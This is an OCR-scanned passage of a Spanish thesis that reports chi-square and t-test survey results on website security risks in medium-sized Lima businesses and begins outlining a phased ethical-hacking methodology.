b. Calculado sélo para una tabla de 2x2.

Fuente: Elaboracion propia.

Aqui el nivel de significacion de la prueba Chi cuadrado es 0.000 el cual es
menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,
se rechaza la hipétesis nula y por lo que se acepta la hipétesis alterna “Si existe
diferencia estadisticamente significativa entre las proporciones de los efectos de
opinién en la influencia con respecto a los Riesgos de seguridad y los Niveles de
Seguridad en la seguridad informatica de la gestion de informacion al usar los
Websites en las medianas empresas de Lima Metropolitana”.

Grafico N° 2.
Grafico de barras de Riesgos de Seguridad y los Niveles de Seguridad

| Cpinion

M Si es esta de acuerdo
Mo esta de acuerdo

B0

5077

407

30

Recuento

2077

Riesgos de Seguridad en la Websites Miveles de Sequridad en la Websites

EfectosDeRiesgo
Fuente: Elaboracion propia.
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Este grafico nos muestra la diferencia de opinién de que si existe riesgo con

respecto a los Riesgos de seguridad y los Niveles de Seguridad y en las otras

opiniones también existe diferencias en las proporciones de opinion lo cual confirma

lo que el SPSS V22 arroja como resultado.

Hoi

H1:

Contraste de Andlisis de los items de Software de Seguridad de las
Websites y los Riesgos de Seguridad de las Websites en las medianas
empresas de Lima Metropolitana.

Para hacer el analisis de estos dos:

No existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinidn en la influencia con respecto a los Software de Seguridad
y los Riesgos de Seguridad en la seguridad informatica de la gestién de
informacion al usar los Websites en las medianas empresas de Lima
Metropolitana

Si existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinidn en la influencia con respecto a los Software de Seguridad
y los Riesgos de Seguridad en la seguridad informatica de la gestién de
informacion al usar los Websites en las medianas empresas de Lima

Metropolitana.

Tabla N° 21. Tabla de contingencia Efectos De Riesgo * Opinién

Recuento
Opinién Total
Si es esta de No esta de
acuerdo acuerdo
Riesgos de Seguridad en la 52 13 65
Websites
Efectos De Riesgo
Software de Seguridad en la 19 47 66
Websites
Total 71 60 131

Fuente: Elaboracion propia.
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Tabla N° 22. Pruebas de chi-cuadrado

Valor gl Sig. asintética Sig. exacta Sig. exacta
(bilateral) (bilateral) (unilateral)

Chi-cuadrado de Pearson 34,5992 1 ,000
Correccion por continuidad® 32,567 1 ,000
Razoén de verosimilitudes 36,396 1 ,000
Estadistico exacto de Fisher ,000 ,000
Asociacién lineal por lineal 34,335 1 ,000
N de casos validos 131

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es 29,77.

b. Calculado sélo para una tabla de 2x2.

Fuente: Elaboracion propia.

Aqui el nivel de significacion de la prueba Chi cuadrado es 0.000 el cual es
menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,
se rechaza la hipétesis nula y por lo que se acepta la hipdtesis alterna “Si existe
diferencia estadisticamente significativa entre las proporciones de los efectos de
opinién en la influencia con respecto a los Software de seguridad y los Riesgos
de Seguridad en la seguridad informatica de la gestién de informacion al usar los

Websites en las medianas empresas de Lima Metropolitana”.

Grafico N° 3.

Grafico de barras de Software de Seguridad y los Riesgos de Seguridad
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Este grafico nos muestra la diferencia de opinién de que si existe riesgo en los
accesos de seguridad, con respecto a los Riesgos de seguridad y los Software
de Seguridad y en las otras opiniones también existe diferencias en las
proporciones de opinién lo cual confirma lo que el SPSS V22 arroja como resultado.

lIl.  Contraste de Andlisis de los items de Problemas de Seguridad de las
Websites y los Riesgos de Seguridad de las Websites en las medianas
empresas de Lima Metropolitana.

Para hacer el analisis de estos dos:

Ho: No existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinidbn en la influencia con respecto a los Problemas de
Seguridad y los Riesgos de Seguridad en la seguridad informatica de la
gestion de informacion al usar los Websites en las medianas empresas de
Lima Metropolitana.

Hi: Si existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinion en la influencia con respecto a los Problemas de
Seguridad y los Riesgos de Seguridad en la seguridad informatica de la
gestion de informacidon al usar los Websites en las medianas empresas de
Lima Metropolitana.

Tabla N° 23. Tabla de contingencia Efectos De Riesgo * Opinién

Recuento
Opinién Total
Si es esta de No esta de
acuerdo acuerdo
Riesgos de Seguridad en la 52 13 65
Websites
Efectos De Riesgo
Problemas de Seguridad en 34 30 64
la Websites
Total 86 43 129

Fuente: Elaboracion propia.
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Valor al Sig. asintotica Sig. exacta Sig. exacta
(bilateral) (bilateral) (unilateral)

Chi-cuadrado de Pearson 10,481° 1 0,001
Correccién por continuidad® 9,307 1 0,002
Razo6n de verosimilitudes 10,696 1 0,001
Estadistico exacto de Fisher 0,001 0,001
Asociacion lineal por lineal 10,400 1 0,001
N de casos validos 129

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es 21,33.

b. Calculado sélo para una tabla de 2x2.

Fuente: Elaboracion propia.

Aqui el nivel de significacion de la prueba Chi cuadrado es 0.001 el cual es

menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,

se rechaza la hipétesis nula y por lo que se acepta la hipdtesis alterna “Si existe

diferencia estadisticamente significativa entre las proporciones de los efectos de

opinién en la influencia con respecto a los Problemas de seguridad y los Riesgos

de Seguridad en la seguridad informatica de la gestién de informacion al usar los

Websites en las medianas empresas de Lima Metropolitana”.

Grafico N° 4.

Grafico de barras de Problemas de Seguridad y los Riesgos de Seguridad
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Este grafico nos muestra la diferencia de opinién de que si existe riesgo en los

accesos de seguridad, con respecto a los Riesgos de seguridady los Problemas

de Seguridad y en las otras opiniones también existe diferencias en las

proporciones de opinién lo cual confirma lo que el SPSS V22 arroja como resultado.

IV. Contraste de Andlisis de los items de Métodos de Intrusion de Seguridad de
las Websites y los Riesgos de Seguridad de las Websites en las medianas
empresas de Lima Metropolitana.

Para hacer el andlisis de estos dos:

Ho: No existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinién en la influencia con respecto a los Métodos de Intrusion
de Seguridad vy los Riesgos de Seguridad en la seguridad informatica de la
gestion de informacién al usar los Websites en las medianas empresas de
Lima Metropolitana

Hi: Si existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opiniéon en la influencia con respecto a los Métodos de Intrusion
de Seguridad y los Riesgos de Seguridad en la seguridad informatica de la
gestion de informacién al usar los Websites en las medianas empresas de
Lima Metropolitana.

Tabla N° 25. Tabla de contingencia Efectos De Riesgo * Opinién

Recuento

Opinion Total
Si es esta de No esta de
acuerdo acuerdo
Riesgos de Seguridad en la 52 13 65
Websites
Efectos De Riesgo
Métodos de Intrusion de 38 27 65
Seguridad en la Websites
Total 90 40 130

Fuente: Elaboracion propia.



65

Tabla N° 26. Pruebas de chi-cuadrado

Valor al Sig. asintética Sig. exacta Sig. exacta
(bilateral) (bilateral) (unilateral)

Chi-cuadrado de Pearson 7,078° 1 0,008
Correccién por continuidad® 6,103 1 0,013
Razén de verosimilitudes 7,192 1 0,007
Estadistico exacto de Fisher 0,013 0,006
Asociacion lineal por lineal 7,023 1 0,008
N de casos validos 130

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es 20,00.
b. Calculado sélo para una tabla de 2x2.

Fuente: Elaboracién propia.

Aqui el nivel de significacion de la prueba Chi cuadrado es 0.008 el cual es
menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,
se rechaza la hipétesis nula y por lo que se acepta la hipdtesis alterna “Si existe
diferencia estadisticamente significativa entre las proporciones de los efectos de
opinién en la influencia con respecto a los Métodos de Intrusion de Seguridad y
los Riesgos de Seguridad en |la seguridad informatica de la gestion de informacién

al usar los Websites en las medianas empresas de Lima Metropolitana”.

Grafico N° 5.

Grafico de barras de Métodos de Intrusion de Seguridad y los Riesgos de Seguridad
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Fuente: Elaboracion propia.
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Este grafico nos muestra la diferencia de opinién de que si existe riesgo en los

accesos de seguridad, con respecto a los Riesgos de seguridad y los Métodos

de Intrusion de Seguridad y en las otras opiniones también existe diferencias en

las proporciones de opinion lo cual confirma lo que el SPSS V22 arroja como

resultado.

V.

HoZ

H1Z

Contraste de Andlisis de los items de Objetivos y Metas de Seguridad de
las Websites y los Riesgos de Seguridad de las Websites en las medianas
empresas de Lima Metropolitana.

Para hacer el analisis de estos dos:

No existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinién en la influencia con respecto a los Objetivos y Metas de
Seguridad y los Riesgos de Seguridad en la seguridad informatica de la
gestién de informacién al usar los Websites en las medianas empresas de
Lima Metropolitana

Si existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinidén en la influencia con respecto a los Objetivos y Metas de
Seqguridad y los Riesgos de Seguridad en la seguridad informatica de la
gestién de informacién al usar los Websites en las medianas empresas de

Lima Metropolitana.

Tabla N° 27. Tabla de contingencia Efectos De Riesgo * Opinién

Recuento
Opinién Total
Si es esta de No esta de
acuerdo acuerdo
Riesgos de Seguridad en la 52 13 65
Websites
Efectos De Riesgo
Objetivos y Metas de 23 43 66
Seguridad en la Websites
Total 75 56 131

Fuente: Elaboracion propia.
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Tabla N° 28. Pruebas de chi-cuadrado

Valor o] Sig. asintética Sig. exacta | Sig. exacta
(bilateral) (bilateral) (unilateral)

Chi-cuadrado de Pearson 27,279% 1 0,000

Correccion por continuidad® 25,465 1 0,000

Razoén de verosimilitudes 28,448 1 0,000

Estadistico exacto de Fisher 0,000 0,000
Asociacién lineal por lineal 27,070 1 0,000

N de casos validos 131

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es

27,79.
b. Calculado sélo para una tabla de 2x2.

Fuente: Elaboracién propia.

Aqui el nivel de significacién de la prueba Chi cuadrado es 0.000 el cual es
menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,
se rechaza la hipotesis nula y por lo que se acepta la hipdtesis alterna “Si existe
diferencia estadisticamente significativa entre las proporciones de los efectos de
opinién en la influencia con respecto a los Objetivos y Metas de Seguridad y los
Riesgos de Seguridad en la seguridad informatica de la gestion de informacién al
usar los Websites en las medianas empresas de Lima Metropolitana”

Grafico N° 6.

Grafico de barras de Objetivos y Metas de Seguridad y los Riesgos de Seguridad
Opinion

[si es esta de acuerdo

W rio esta de acuerdo

60

20T

40T

30T

Recuento

20~

Riesgos de Seguridad en laVWebsites Ohbjetivos y Metas de Seguridad en la
Wehsites

EfectosDeRiesgo
Fuente: Elaboracion propia.



68

Este grafico nos muestra la diferencia de opinién de que si existe riesgo en los
accesos de seguridad, con respecto a los Riesgos de Seguridad y los Objetivos
y Metas de Seguridad y en las otras opiniones también existe diferencias en las
proporciones de opinién lo cual confirma lo que el SPSS V22 arroja como resultado.
V1. Contraste de Andlisis de los items de Pruebas de Testeo de Seguridad de las

Websites y los Riesgos de Seguridad de las Websites en las medianas
empresas de Lima Metropolitana.
Para hacer el andlisis de estos dos:

Ho: No existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinién en la influencia con respecto a los Pruebas de Testeo de
Seguridad y los Riesgos de Seguridad en la seguridad informatica de la
gestion de informacion al usar los Websites en las medianas empresas de Lima
Metropolitana

Hi: Si existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinidn en la influencia con respecto a los Pruebas de Testeo de
Seguridad y los Riesgos de Seguridad en la seguridad informatica de la
gestion de informacién al usar los Websites en las medianas empresas de Lima
Metropolitana

Tabla N° 29. Tabla de contingencia Efectos De Riesgo * Opinion

Recuento
Opinién Total
Si es esta de No esta de
acuerdo acuerdo
Riesgos de Seguridad en la 52 13 65
Efectos De Riesgo Websites
|
g Pruebas de Testeo de 16 49 65
Seguridad en la Websites
Total 68 62 130
Fuente: Elaboracién propia.
Tabla N° 30. Pruebas de chi-cuadrado
Valor gl Sig. asintética | Sig. exacta | Sig. exacta
(bilateral) (bilateral) (unilateral)
Chi-cuadrado de Pearson 39,962° 0,000
Correccién por continuidad® 37,773 0,000
Razo6n de verosimilitudes 42,340 0,000
Estadistico exacto de Fisher 0,000 0,000
Asociacién lineal por lineal 39,655 0,000
N de casos validos 130

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es

31,00.
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b. Calculado sélo para una tabla de 2x2.
Fuente: Elaboracién propia.

Aqui el nivel de significacién de la prueba Chi cuadrado es 0.000 el cual es
menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,
se rechaza la hipétesis nula y por lo que se acepta la hipdtesis alterna “Si existe
diferencia estadisticamente significativa entre las proporciones de los efectos de
opinién en la influencia con respecto a los Pruebas de Testeo de seguridady los
Riesgos de Seguridad en la seguridad informatica de la gestion de informacién al

usar los Websites en las medianas empresas de Lima Metropolitana”.

Grafico N° 7.

Grafico de barras de Pruebas de Testeo de Seguridad y los Riesgos de Seguridad
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Fuente: Elaboracion propia.

Este grafico nos muestra la diferencia de opinién de que si existe riesgo en los
accesos de seguridad, con respecto a los Riesgos de Seguridady las Pruebas de
Testeo de Seguridad y en las otras opiniones también existe diferencias en las
proporciones de opinién lo cual confirma lo que el SPSS V22 arroja como resultado.
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B) ANALISIS ESTADISTICO DE LA VARIABLE GESTION DE LA INFORMACION
CON RESPECTO A LAS VARIABLES: Software, Acceso y Navegacion y
Manipulacion de la Informacion

Hol

Contraste de Andlisis de los items de Desarrollo de Software y la Gestién
de Informaciéon de la Websites en las medianas empresas de Lima
Metropolitana.

Para hacer el analisis de estos dos:

No existe diferencia estadisticamente significativa entre las proporciones de
los efectos de opinidbn en la influencia con respecto al Desarrollo de
Software y la Gestion de Informacion de la Websites en la seguridad
informatica al usar los Websites en las medianas empresas de Lima
Metropolitana.

Si existe diferencia estadisticamente significativa entre las proporciones de
los efectos de opinién en la influencia con respecto al Desarrollo de
Software y la Gestion de Informacion de la Websites en la seguridad
informatica al usar los Websites en las medianas empresas de Lima
Metropolitana.

Tabla N° 31. Tabla de contingencia Efectos De Riesgo * Opinién

Recuento
Opinion Total
Siesestdde | Noestdde
acuerdo acuerdo
) Gestion de la Informacién en la Websites 66 0 66
Efectos De Riesgo )

Desarrollo de Software en la Websites 22 4 63
Total 88 41 129

Fuente: Elaboracién propia.

Tabla N° 32. Pruebas de chi-cuadrado

Valor gl Sig. asintética | Sig. exacta Sig. exacta
(bilateral) (bilateral) (unilateral)

Chi-cuadrado de Pearson 62,964° 1 0,000
Correccion por continuidad® 59,998 1 0,000
Razon de verosimilitudes 79,791 1 0,000
Estadistico exacto de Fisher 0,000 0,000
Asociacion lineal por lineal 62,476 1 0,000
N de casos validos 129

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es

20,02.
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b. Calculado sélo para una tabla de 2x2.
Fuente: Elaboracion propia.

Aqui el nivel de significacion de la prueba Chi cuadrado es 0.000 el cual es
menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,
se rechaza la hipétesis nula y por lo que se acepta la hipdtesis alterna “Si existe
diferencia estadisticamente significativa entre las proporciones de los efectos de
opinion en la influencia con respecto al Desarrollo de Software y la Gestidon de
Informacidén de la Websites_en la seguridad informatica al usar los Websites en las
medianas empresas de Lima Metropolitana”

Grafico N° 8.

Grafico de barras de Desarrollo de Software y la Gestion de Informacion de la
Websites
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Fuente: Elaboracion propia.
Este grafico nos muestra la diferencia de opinién de que si existe riesgo en los

accesos de seguridad, con respecto al Desarrollo de Software y la Gestion de
Informacién de la Websites y en las otras opiniones también existe diferencias en
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las proporciones de opinion lo cual confirma lo que el SPSS V22 arroja como

resultado.

Hol

H1Z

Contraste de Andlisis de los ftems de Acceso y Navegaciéon de la
Informacidén en la Websites y la Gestion de Informacion de la Websites en
las medianas empresas de Lima Metropolitana.

Para hacer el analisis de estos dos:

No existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinion en la influencia con respecto al Acceso y Navegaciéon de
la Informacion en la Websites y la Gestion de Informaciéon de la Websites
en la seguridad informatica al usar los Websites en las medianas empresas de
Lima Metropolitana.

Si existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opinién en la influencia con respecto al Acceso y Navegacion de la
Informacion en la Websites y la Gestion de Informacion de la Websites en
la seguridad informética al usar los Websites en las medianas empresas de
Lima Metropolitana.

Tabla N° 33. Tabla de contingencia Efectos De Riesgo * Opinién

Recuento

Opinién Total

Si es esta de acuerdo No esta de acuerdo

Gestién de la Informacion en 66 0 66
la Websites

Efectos De Riesgo
Accseso y Navegacion de la 46 20 66

Total

Informacién en la Websites

112 20 132

Fuente: Elaboracion propia.

Tabla N° 34. Pruebas de chi-cuadrado

Valor gl Sig. asintética Sig. exacta Sig. exacta
(bilateral) (bilateral) (unilateral)

Chi-cuadrado de Pearson 23,571° 1 0,000
Correccién por continuidad® 21,273 1 0,000
Razén de verosimilitudes 31,317 1 0,000
Estadistico exacto de Fisher 0,000 0,000
Asociacion lineal por lineal 23,393 1 0,000
N de casos validos 132




73

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es 10,00.
b. Calculado soélo para una tabla de 2x2.
Fuente: Elaboracién propia.

Aqui el nivel de significacién de la prueba Chi cuadrado es 0.000 el cual es
menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,
se rechaza la hipotesis nula y por lo que se acepta la hipétesis alterna “Si existe
diferencia estadisticamente significativa entre las proporciones de los efectos de
opinion en la influencia con respecto al Acceso y Navegacion de la Informacién
en la Websites y la Gestion de Informacion de la Websites en la seguridad

informatica al usar los Websites en las medianas empresas de Lima Metropolitana”.

Grafico 9.

Grafico de barras de Acceso y Navegacion de la Informacion en la Websites y la
Gestion de Informacion de la Websites
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Fuente: Elaboracion propia.

Este grafico nos muestra la diferencia de opinién de que si existe riesgo en los
accesos de seguridad, con respecto al Acceso y Navegacion de la Informacion
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en la Websites y la Gestion de Informacion de la Websites y en las otras

opiniones también existe diferencias en las proporciones de opinion lo cual confirma

lo que el SPSS V22 arroja como resultado.

H1Z

Contraste de Andlisis de los items de Manipulacion de la Informacién en la
Websites y la Gestion de Informacién de la Websites en las medianas
empresas de Lima Metropolitana.

Para hacer el analisis de estos dos:

No existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opiniébn en la influencia con respecto al Manipulacién de la
Informacion en la Websites y la Gestion de Informacion de la Websites en
la seguridad informética al usar los Websites en las medianas empresas de
Lima Metropolitana.

Si existe diferencia estadisticamente significativa entre las proporciones de los
efectos de opiniébn en la influencia con respecto al Manipulaciéon de la
Informacioén en la Websites y la Gestion de Informacion de la Websites en
la seguridad informética al usar los Websites en las medianas empresas de
Lima Metropolitana.

Tabla N° 35. Tabla de contingencia Efectos De Riesgo * Opinién

Recuento
Opinion Total
Si es esta de No esta de
acuerdo acuerdo
Gestién de la Informacion 66 0 66
) en la Websites
Efectos De Riesgo ] y
Manipulacién de la 33 32 65
Informacién en la Websites
Total 99 32 131

Fuente: Elaboracion propia.

Tabla N° 36. Pruebas de chi-cuadrado

Valor gl Sig. asintética Sig. exacta Sig. exacta
(bilateral) (bilateral) (unilateral)
Chi-cuadrado de Pearson 42,995° 1 0,000
Correccion por continuidad® 40,369 1 0,000
Raz6n de verosimilitudes 55,567 1 0,000
Estadistico exacto de Fisher 0,000 0,000
Asociacién lineal por lineal 42,667 1 0,000
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N de casos validos | 131 | |

a. 0 casillas (0,0%) tienen una frecuencia esperada inferior a 5. La frecuencia minima esperada es 15,88.
b. Calculado sélo para una tabla de 2x2.
Fuente: Elaboracién propia.

Aqui el nivel de significacién de la prueba Chi cuadrado es 0.000 el cual es
menor que 0.05 que es el nivel de significacion propuesta con un 95% de confianza,
se rechaza la hipotesis nula y por lo que se acepta la hipétesis alterna “Si existe
diferencia estadisticamente significativa entre las proporciones de los efectos de
opinion en la influencia con respecto al Manipulacién de la Informacion en la
Websites y la Gestion de Informacion de la Websites en la seguridad informatica

al usar los Websites en las medianas empresas de Lima Metropolitana”.

Grafico N° 10.

Grafico de barras de Manipulacién de la Informacién en la Websites y la Gestion
de Informacion de la Websites
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Fuente: Elaboracion propia.
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Este grafico nos muestra la diferencia de opinién de que si existe riesgo en los
accesos de seguridad, con respecto al Manipulacién de la Informacion en la
Websites y la Gestion de Informaciéon de la Websites y en las otras opiniones
también existe diferencias en las proporciones de opinion lo cual confirma lo que el

SPSS V22 arroja como resultado.
FIABILIDAD DE LAS ENCUESTAS

Tabla N° 37. Estadistico de

fiabilidad
Alfa de cronbach N de
elementos
0.340 11

Tabla: 0,340 es > 0,05 se acepta la fiabilidad de los items de las encuestas,
por tanto las preguntas tienen validez y confiabilidad de informacion.

ANALISIS DE BONDAD DE AJUSTE DE LAS RESPUESTAS A LAS

PREGUNTAS DE LA ENCUESTA (Prueba de normalidad)

A) Paralos datos en donde los encuestados ‘“si estan de acuerdo”

Ho: La distribucion de los datos de las respuestas de opinién general de las
preguntas con respecto a los riesgos de seguridad con respecto en la gestion
de la informacion “si esta de acuerdo” son normales.

H¢: La distribucion de los datos de las respuestas de opinion general de las
preguntas con respecto a los riesgos de seguridad con respecto en la gestion
de la informacion “si esta de acuerdo” no son normales.

Tabla N° 38. Pruebas de normalidad

Kolmogorov-Smirnov® Shapiro-Wilk
Estadistico | gl Sig. Estadistico | gl | Sig.
Si Hay Riesgos De Seguridad En La Gestion 0,157 66 0,000 0,945| 66| 0,005
No Hay Riesgos De Seguridad En La Gestién 0,155 66 0,000 0,948 | 66| 0,008

a. Correccién de la significacion de Lilliefors
Fuente: Elaboracion propia.
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Como los datos de las variables son mayores a 30 tomamos la prueba de
Kolmogorov-Smirnov, cuyo p-valor en el SPSS es 0.000 <0.05 Luego se observa
que “La distribucion de los datos de las respuestas de opinidn general de las
preguntas con respecto a los riesgos de seguridad con respecto en la gestion de la
informacion “si esta de acuerdo” no son normales”.

B) Paralos datos en donde los encuestados “no estan de acuerdo”

Ho: La distribucion de los datos de las respuestas de opinidbn general de las
preguntas con respecto a los riesgos de seguridad con respecto en la gestion

de la informacion “no esta de acuerdo” son normales.

Hi: La distribucion de los datos de las respuestas de opinion general de las
preguntas con respecto a los riesgos de seguridad con respecto en la gestion

de la informacion “no esta de acuerdo” no son normales.

También: Como los datos de las variables son mayores a 30 tomamos la
prueba de Kolmogorov-Smirnov cuyo p-valor en el SPSS en el cuadro de arriba es

0.000<0.05 Luego se observa que “La distribucion de los datos de las respuestas

de opinién general de las preguntas con respecto a los riesgos de seguridad con

respecto en la gestién de la informacién “no esta de acuerdo” no son normales.”

4.2 Pruebas de hipoétesis

La grafica de la “t” de student depende del numero de grados de libertad, el
cual es igual al numero de elementos menos 1, por cada muestra. Si se tiene un
numero muy grande de grados de libertad, la grafica de la “t” de student se confunde
con la curva normal, razon por la que en estos casos, la “t” tedrica es igual al valor

tedrico de la “z

PARA COMPARAR DOS MUESTRAS INDEPENDIENTES

X2~ X1
\/( SC1+S8C2 y nitn:
n1+l’l2'2 ny-mnz

=
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Si las muestras son independientes, la prueba de hipétesis correspondiente
utilizando la “t” de student, tiene el mismo procedimiento que se sigue para el caso

de diferencias de medias con la prueba “Z”.

x, :media aritmética de la muestra 1

x2 : media aritmética de la muestra 2
SC, : Suma de cuadrados de la muestra 1

SC, : Suma de cuadrados de la muestra 2

2
SC=Zx2——(zx)
n
Observacion: Para analizar en forma global nuestro trabajo de investigacion,
hemos cuantificado las variables cualitativas de opinion favorable y opinion
desfavorable en la influencia de los datos respuesta a los items de riesgo de
seguridad en la gestion de informacion.

Ho: No existe diferencias estadisticamente significativa entre los datos de las
respuestas de los items de influencia favorable y de Influencia desfavorable
con respecto a los riesgos de seguridad de la gestion de informacion al usar
los Websites en las empresas de Lima Metropolitana.

Hi: Si existe diferencias estadisticamente significativa entre los datos de las
respuestas de los ftems de influencia favorable y de Influencia desfavorable
con respecto a los riesgos de seguridad de la gestion de informacién al usar
los Websites en las empresas de Lima Metropolitana.

Tabla N° 39.
Estadisticos de grupo
Influencia N Media Desviacion |Error tip. de
tip. la media
Si Influye en los 11 17,2857 5,48324 1,46546
riesgos de
Seguridad
Frecuencia
No Influye en los 11 10,2143 5,16167 1,37951
riesgos de
Seguridad

Fuente: Elaboracion propia.
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Tabla N° 40.

Prusha de muestras independiantes

Prugha dz Levene para la
igualdad de varianzas Prugha Tparala iqualdad de medias

85% Intevalo de confianza para

Difenciade | Emort. la a it
F 8ig. t ol | Sig (bilateral) | medias diferencia Inferior Sluperior
i Sehanasumido
IR Itk al o % m| o] oamm | men| e

Varlanzas iquales

Mo se han asumido

s s 160 25008 iliH T4 101062 200570 1 1120018

Fuente: Elaboracion propia.

El p-valor que arroja el SPSS v22 en la prueba de t de student es 0.002 <
0.05, por lo que aqui se rechaza la hipdtesis nula y se acepta la hipdtesis alterna,
por lo que se tiene que: “Si existe diferencias estadisticamente significativa entre los
datos de las respuestas de los ltems de influencia favorable y de Influencia
desfavorable con respecto a los riesgos de seguridad de la gestion de informacién al

usar los Websites en las empresas de Lima Metropolitana”
4.3 Presentacion de resultados

A continuacion se presentan los resultados obtenidos, estos estdn agrupados

3 objetivos especificos:

. La relacion de los niveles de seguridad de los Websites y los riesgos de
seguridad en la empresa, para la gestion de la informacién. De acuerdo al
andlisis de datos si existen diferencias significativas de un riesgo entre los
niveles de seguridad y los métodos de penetracién de los crackers ya que
estos métodos no son controlados por las medianas empresas de Lima
Metropolitana.
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El software de seguridad de los Websites y los riesgos de seguridad en
la empresa, para la gestion de la informaciéon. De acuerdo al andlisis de
datos si existen diferencias significativas de riesgo entre el software de
seguridad y los riesgos de seguridad ya que estos métodos de penetracion
no son adecuadamente controlados por el software de seguridad por las
medianas empresas de Lima Metropolitana.

Los problemas de seguridad de los Websites y los riesgos de seguridad de
la empresa, de informacioén para la gestion. De acuerdo al andlisis de datos,
si existen diferencias significativas para un riesgo, al no tomar las debidas
precauciones para su seguridad de informacidén, ademas que o acostumbran
las empresas al uso de herramientas de testeo.



CAPITULO 5: IMPACTOS

5.1

Propuesta para la Solucién del Problema

Marco Referencial. A través de un analisis de vulnerabilidades, un analista en

seguridad puede examinar la robustez y seguridad de cada uno de los sistemas y

dispositivos ante ataques y obtener la informacion necesaria para analizar cuales

son las contramedidas que se pueden aplicar con el fin de minimizar el impacto de

un ataque. El analisis de vulnerabilidades debe realizarse.

Cuando ocurran cambios en el diseno de la red o los sistemas
Cuando se realicen actualizaciones de los dispositivos.
Peridodicamente.

Existen otros tipos de andlisis de vulnerabilidades:

Analisis de Vulnerabilidades Interno. Se trata de pruebas de penetracién
desde la redinterna que identifican los riesgos de lasredes Yy sistemas
internos, demostrando lo que podria hacer un usuario que ha ganado acceso a
la red, simulando ser un usuario interno malintencionado. Este tipo de pruebas
son muy interesantes pues estudios realizados sobre la seguridad de la
informacion demuestran que alrededor del 80 al 90% de las violaciones de
seguridad se originan desde usuarios internos.

Analisis de Vulnerabilidades Externo. Se trata de pruebas de penetracion
desde internet que identifican los riesgos de la red perimetral (es una red local
que se ubica entre la red interna de una organizacién y una red externa,
generalmente Internet.) y analizan si estos pueden ser utilizados para acceder
a su red, violando sus medidas de seguridad, y en tal caso examinar si se
produce el debido registro de lo que esta sucediendo y si se accionan o no las
alertas apropiadas, verificando la efectividad de los firewalls, de los sistemas
de deteccién de intrusos (IDS), de los sistemas operativos y de los dispositivos
de comunicaciones visibles desde Internet.

Analisis de Vulnerabilidades de aplicaciones web. Identifica los riesgos de
las Aplicaciones Web, verificando los esquemas de autenticacién y probando
las tecnologias utilizadas en la implementacion de las mismas.
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Este ultimo punto es el que se va a desarrollar una metodologia de acuerdo a
la experiencia obtenida y a la oportunidad que se presenta en el sector PYMES
peruano. El Hacking Etico tiene como misién prepararse para un eventual ataque de
los crackers o cuando ya se efectud el ataque a la seguridad en la organizacién ya
sea atacando la Red, las Telecomunicaciones, los dispositivos periféricos, los
software informaticos o los aplicativos Web. Sin embargo, en el Peru los ataques de
crackers mas se acentuan a los aplicativos Web que se presentan en paginas web
dinamicas ya que interactian con la Base de Datos de la Organizacién. De esta
manera se elabora una metodologia que pretende ir mejorando a traves de
versiones y que posteriormente puede presentarse a la OWASP Peru.

Metodologia. Esta metodologia comprende 5 fases y cada tiene un conjunto
de etapas. Se utiliza una serie de formatos
Fases: Son 5 fases. Etapas: Cada fase tiene un conjunto de etapas.
l.-_Fase Planeacion.

La fase de planeacién comprende 2 etapas.
Diagndstico, Planificacion
Diagndstico :
e Se llevara a cabo un breve diagnostico para evaluar si el hacking ético
que se aplicara es preventivo o correctivo. Si es correctivo se evaluara la
magnitud del dafno.

Planificacion :

e Se identifica qué recursos humanos, se necesitan para el proyecto, como
se organizarian, el cronograma del proyecto, otros recursos técnicos

como: equipos, suministros, herramientas de software de hacking ético.

En esta fase se utiliza 2 formatos: Cronograma y Cuestionario Web. (Ver Anexos 6
y7)

Il.- Fase Evaluacion.

La fase de evaluacion comprende 2 etapas.
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Andlisis y Disefno
Analisis :
e Se llevara a cabo el estudio ya sea preventivo o correctivo de la seguridad
de los Websites. Aqui también se evaluara el andlisis de riesgo.
Disefio :
e Se evaluara como sera el camino técnico a seguir.

e Se llevara a cabo reuniones con los usuarios key o principales.

En esta fase se utiliza 2 formatos: Acta de Reunién, Acta de Conformidad (Ver
Anexos 8y 9)

lll.- Fase de implementacion

La fase de implementacién comprende 4 etapas.
Pruebas unitarias, Pruebas de tension, Capacitacion, Implantacion

Pruebas unitarias:

e Se realizara pruebas por un modulo en forma separada.
Pruebas de tensién:

e Se realizara pruebas de todos los modulos en forma integrada.
Capacitacion:

e Se capacitard a los usuarios key sobre las medidas a tomar para evitar
nuevos ataques de los crakers o cuando ya se realizd el ataque que
hacer.

Implantacion:
e Se pondra en produccién los cambios efectuados aplicando hacking ético.

En esta fase se utiliza 3 formatos: Acta de reuniones, Acta de Conformidad, Acta de

capacitacién. (Ver Anexos 8,9y 10)

IV.- Fase de control y calidad

La fase de control y calidad comprende 2 etapas.
Seguimiento y evaluacion

Seguimiento
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o Este se llevara a cabo con reuniones periddicas con los usuarios key o
principales.
Evaluacion
